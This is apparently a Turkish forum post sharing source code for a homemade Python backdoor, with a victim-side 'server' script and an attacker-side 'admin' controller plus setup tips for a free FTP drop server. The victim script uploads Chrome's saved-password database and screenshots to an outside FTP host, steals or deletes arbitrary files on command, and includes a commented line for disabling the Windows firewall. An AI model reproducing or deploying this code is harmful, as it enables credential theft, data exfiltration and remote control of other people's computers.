Bugün birkaç ay önce yağtığım backdoor kodunu paylaşacağım.
Server komudu (kurbana göndereceğiniz kod):
Admin (kendi kullanıcağınız kod) :
Bu kodları kullanmak için bir ftp sunucusuna ihtiyacınız var eğer istiyorsanız kodlarla oynayarak mesajları ve ss'leri discorda da gönderebilirsiniz size kalmış.
Ftp sunucusuna gelirsek Buradan kendinize site açıp oradan ftp sunucusu açabilirsiniz tamamen bedava dosyaları almak için filezilla gibi uygulamalara ihtiyacınız var.
siteden ftp sunucusunun bilgilerini aldıkdan sonra ftp.login() fonksiyonuna giriniz portlarıda girmeyi unutmayın
Server komudu (kurbana göndereceğiniz kod):
Python:
import socket
import os , ftplib
from pyautogui import screenshot
from sys import exit
print("açıldı")
def get_chrome():
try:
data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
var_chrome = True
i = 0
while var_chrome:
if f"chrome_{i}.db" in ftp.nlst():
i +=1
else:
ftp.storbinary(f"STOR chrome_{i}.db",open(data_path,"rb"))
return True
except:
return False
ip_adress=socket.gethostbyname(socket.gethostname())
#check_call('netsh.exe advfirewall set publicprofile state off')
# Server bilgileri
server_host = ip_adress
server_port = "port:int"
ftp = ftplib.FTP("ftpupload.net")
ftp.login("username","password")
dosya = f"{ip_adress}.txt"
if dosya in ftp.nlst():
pass
else:
with open("main.txt","w")as f:
f.write("s")
with open("main.txt","rb")as f:
ftp.storbinary(f"STOR {ip_adress}.txt",f)
os.remove("main.txt")
# Socket oluşturma
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Bağlantı noktasını sunucu adresine bağlama
server_socket.bind((server_host, server_port))
# Bağlantıları dinleme
server_socket.listen(5)
# Bağlantı kabul etme ve mesaj alma
while True:
client_socket, client_address = server_socket.accept()
print(f"Gelen bağlantı: {client_address}")
while True:
message = client_socket.recv(1024)
mesaj = message.decode()
split = mesaj.split()
if not message:
break
if mesaj ==".ls":
global metin
metin = ""
for file in os.listdir():
metin = metin +" "+ file
client_socket.sendall(metin.encode())
elif mesaj==".ss":
ss = screenshot()
ss.save("image.png")
i = 0
var = True
while var:
image = f"ss{i}.png"
if image in ftp.nlst():
i +=1
else:
ftp.storbinary(f"Stor {image}",open("image.png","rb"))
var = False
os.remove("image.png")
client_socket.sendall("Resim gönderildi.".encode())
elif split[0] == ".cd":
if len(split) == 1:
client_socket.sendall(os.getcwd.encode())
try:
os.chdir(split[1])
client_socket.sendall(f"dosya yolu {split[1]} olarak değiltirildi.".encode())
except:
client_socket.sendall("Dosya yolu bulunamadı.".encode())
elif split[0] == ".uyarı":
import win32api
import win32con
# Uyarı penceresi başlığı ve mesajı
title = split[1].replace("__"," ")
message = split[2].replace("__"," ")
# Uyarı penceresi gösterimi
win32api.MessageBox(None, message, title, win32con.MB_OK | win32con.MB_ICONWARNING)
client_socket.sendall("Başarılı bir şekilde uyarı verildi.".encode())
elif split[0] ==".steal":
try:
with open(split[1],"rb")as f:
ftp.storbinary(f"STOR {split[1]}.txt",f)
client_socket.sendall("Gönderildi".encode())
except:
client_socket("bulunamadı.")
elif split[0] == ".yarat":
try:
if split[1] =="file":
dosya = open(split[2],"w")
dosya.write(" ")
elif split[1] =="folder":
os.makedirs(split[2])
except:
print("yanlış bişeyler var.")
elif split[0] ==".sil":
os.remove(split[1])
elif mesaj == ".kapat":
exit()
elif mesaj == ".chrome":
if get_chrome() ==True:
client_socket.sendall("gitti".encode())
else:
client_socket.sendall("gitmedi".encode())
elif split[0] ==".indir":
dosya = open(split[1],"wb")
ftp.retrbinary(f"RETR {split[1]}",dosya.write())
else:
client_socket.sendall("lütfen geçerli bir komut giriniz".encode())
client_socket.close()
Admin (kendi kullanıcağınız kod) :
Python:
import socket
from sys import exit
from subprocess import call
import ftplib
ftp = ftplib.FTP("ftpupload.net")
ftp.login("username","password")
Unconnected = True
while Unconnected:
ip_adress = input("İp adresini giriniz>")
server_host = ip_adress
server_port = "port:int"
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_host, server_port))
Unconnected =False
except:
print("Bağlanılamadı.")
# Mesaj gönderme ve alma
while True:
message = input(">")
split = message.split()
if not bool(message):
message = "yok"
if message == ".exit":
exit()
if message == ".cls":
call("cls",shell=True)
if message == ".help" or message == ".?" or message ==".?":
print("""
ls = list files.
ss = ekran görüntüsü.
cd = .cd = getcwd , .cd path current_path-->path
uyarı = .uyarı Başlık içerik __-->boşluk
steal = .steal x.txt x.txt --> ftp
yarat = file / folder
sil = x.txt -->puff
""")
continue
if split[0] == ".gönder":
dosya = open(split[1],"rb")
if split[1] not in ftp.nlst():
ftp.storbinary(f"STOR {split[1]}",dosya)
print(split[1],"gönderildi")
continue
else:
print("Dosya zaten sunucuda")
continue
client_socket.sendall(message.encode())
reply = client_socket.recv(1024)
print(reply.decode())
# Soketi kapatma
client_socket.close()
Kod:
Bu kodları kullanmak için bir ftp sunucusuna ihtiyacınız var eğer istiyorsanız kodlarla oynayarak mesajları ve ss'leri discorda da gönderebilirsiniz size kalmış.
Ftp sunucusuna gelirsek Buradan kendinize site açıp oradan ftp sunucusu açabilirsiniz tamamen bedava dosyaları almak için filezilla gibi uygulamalara ihtiyacınız var.
siteden ftp sunucusunun bilgilerini aldıkdan sonra ftp.login() fonksiyonuna giriniz portlarıda girmeyi unutmayın